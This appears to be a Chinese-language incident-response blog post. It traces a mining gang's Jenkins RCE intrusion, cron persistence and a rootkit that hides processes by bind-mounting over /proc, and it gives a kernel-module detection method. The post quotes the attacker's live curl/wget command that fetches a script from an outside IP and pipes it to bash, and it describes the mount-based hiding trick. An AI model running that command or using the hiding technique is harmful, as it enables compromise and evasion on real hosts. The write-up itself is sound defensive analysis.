0889挖矿团伙rootkit后门溯源排查记录
近期发现某国内的黑客团伙用0889.org作为恶意样本地址和通信域名,后面简称0889组织。最近一次排查某云上挖矿的case,发现该组织通过jenkins RCE漏洞突破边界,内网横向后拿到主机权限后,批量下发挖矿和rootkit后门。

挖矿就没什么好说的,本文重点分析该组织的rootkit后门隐藏手法以及应急排查思路。
Jenkins RCE漏洞突破边界

在主机安全的控制台,已经成功捕获攻击者初始的payload。

利用Jenkins远程代码执行的漏洞,下载初始恶意脚本并执行。通过网络攻击的payload能够关联到主机上的执行的进程链,说明该主机已经失陷。
内网横向扫描
通过对Jenkins服务器历史执行命令的审计。

定位主机最早的失陷时间为2024-10-13。

修改计划任务

对应的1.sh内容如下。计划任务的内容就是每隔5分钟,自动下载恶意脚本执行。

分析该域名下的多个恶意文件,shell脚本都带有清晰的注释,推测均为chatGPT等大模型编写的脚本。
下发挖矿程序

到这里上面的所有操作都属于常规入侵,但是当我们清理挖矿后,第二天的凌晨,内网所有主机的 /etc/crontab 文件又被修改加入了之前的恶意命令。所以主机上必定还存在后门进程,或者是黑客添加的后门守护进程。
rootkit后门排查
由于黑客在主机上,修改过多个系统命令文件。在没有分析样本的情况下,一开始无法确定具体的后门进程文件。

主机安全上有监控系统的计划任务文件。分析进程树发现,父进程是bash,执行的命令为:
sh -c (curl -fsSL 8.210.186.110/script/1.sh || wget -q -O - 8.210.186.110/script/1.sh) | bash -s 3;history -c > /dev/null 2>&1
但是主机安全无法记录到curl命令的父进程,也就是不知道是谁调用了curl下载执行shell脚本重新修改cron计划任务文件。而这个父进程就是大概率就是隐藏的后门进程。

同时在主机安全下发的恶意域名请求监控,也无法定位到具体发起的进程以及PID。
通过busybox的ps和netstat命令同样没有发现任何异常外连,以及可疑的进程。
从上面的特征分析,隐藏的后门进程不是在应用层的劫持,而是在内核层。
内核DNS监控定位后门进程PID
在以往的应急响应过程中,监控发起恶意DNS请求的PID相对复杂。大部分已有的实践思路都是通过ebpf和systemtap在内核层hook。但是客户的机器环境通常非常复杂,所以去年我有针对性开发了ko内核模块,只需要每次手动在客户的机器上编译加载到内核执行即可。

但是如果我们已经知道了对应隐藏进程的PID,是可以进到该进程的目录下的。

内核层hook快速定位后门进程PID
既然已经知道只能在内核层才能定位到后门进程的PID,所有就没有必要在所有主机上进行DNS内核抓包。抓包属于被动定位,如果后门进程没有触发请求,就无法快速定位。
更优的方案是直接加载一个新的ko模块,直接在内核层打印出所有运行进程的PID。核心的代码逻辑如下:
static void print_process_info(void) { struct task_struct *task; int process_count = 0; char *path_buf; // 改为指针 // 动态分配内存 path_buf = kmalloc(PATH_MAX, GFP_KERNEL); if (!path_buf) { printk(KERN_ERR "Failed to allocate memory for path buffer\n"); return; } printk(KERN_INFO "================ Process List Start ================\n"); printk(KERN_INFO "FORMAT: [PID] PROCESS_NAME STATE PPID\n"); printk(KERN_INFO " exe -> PATH\n"); for_each_process(task) { char *state_str; printk(KERN_INFO "[%d] %s State:%s PPID:%d\n", task->pid, task->comm, state_str, task->parent->pid); get_process_path(task, path_buf, PATH_MAX); if (path_buf[0] != '\0') { check_deleted_file(task, path_buf, PATH_MAX); printk(KERN_INFO " exe -> %s\n", path_buf); } if (task->group_leader == task && !list_empty(&task->thread_group)) { struct task_struct *thread; list_for_each_entry(thread, &task->thread_group, thread_group) { if (thread != task) { printk(KERN_INFO " |-[%d] %s (thread of %d)\n", thread->pid, thread->comm, task->pid); get_process_path(thread, path_buf, PATH_MAX); if (path_buf[0] != '\0') { check_deleted_file(thread, path_buf, PATH_MAX); printk(KERN_INFO " exe -> %s\n", path_buf); } } } } process_count++; } printk(KERN_INFO "Total number of processes: %d\n", process_count); printk(KERN_INFO "================ Process List End ================\n"); // 释放内存 kfree(path_buf); }


通过ansible批量下发就能快速定位每台机器上的rootkit后门进程PID,直接kill进程PID即可。但是对于植入rootkit机器的清理方案,最佳实践还是建议重装系统。
样本分析

提取后门进程的文件到微步沙箱分析,到目前为止还是绿的。

但是行为分析中,确实能发现样本回连的域名信息。
mount –bind 挂载隐藏进程
通过分析样本发现,进程隐藏是在mcron另一个前置的恶意程序中实现的。

mount –bind 的正常用途:
mount --bind /source /target # 将 source 目录挂载到 target 目录
这会使得访问 /target 时实际看到的是 /source 的内容。
而恶意程序中mount --bind
挂载 /proc 目录的主要作用是隐藏真实进程信息。
mount --bind %s /proc/%d # %s 可能是一个空目录或者伪造的进程信息
覆盖原有的进程目录内容,使得系统工具(ps、top、netstat等)看不到真实的进程信息,但进程实际还在运行,只是被”遮盖”了。
/proc 是一个虚拟文件系统,动态显示进程信息。mount –bind 可以覆盖原有的挂载点 即使原始的 /proc 条目被遮盖,进程依然能继续运行 系统工具依赖 /proc 来获取进程信息,所以会被欺骗。
对应检测的方式为:
mount | grep proc


然后正常kill即可。
总结
从最近多次应急案例来看,黑灰产的样本基本上都是大模型AI自动生成的。安全对抗已经逐渐从人与人的对抗,上升到大模型AI之间的对抗了。
赞赏微信赞赏
支付宝赞赏
7条评论